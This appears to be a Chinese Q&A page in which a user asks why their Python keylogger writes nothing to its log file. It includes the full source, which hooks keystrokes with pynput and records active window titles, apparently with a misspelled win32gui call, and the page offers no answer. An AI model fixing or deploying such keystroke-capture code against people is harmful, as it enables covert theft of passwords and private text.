键盘记录器未记录 txt 文档中的字符

问题描述

我在 python 中制作的键盘记录器没有记录我指定的文本文件中的字符。每当我在程序结束后打开它时,它就会将其留空。 代码如下:

import win32gui
from datetime import date
from pynput.keyboard import Listener,Key


filename = "key_log.txt"  # The file to write characters to
file = open(filename,'a')
file.write(str(date.today()))
file.close()
    
def on_press(key):
    window = win32gui.GetForegroundWindow()    
    active_win = win32gui.GetwindowText(window)    
    f = open(filename,'a')  # Open the file        
    f.write('\n'+active_win)

    if hasattr(key,'char'):  # Write the character pressed if available
        f.write(''+key.char)
    else:  # If anything else was pressed,write [<key_name>]
        f.write('[' + key.name + ']')

    f.close()  # Close the file

    
with Listener(on_press=on_press) as listener:  # Setup the listener
    listener.join()  # Join the thread to the main thread

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)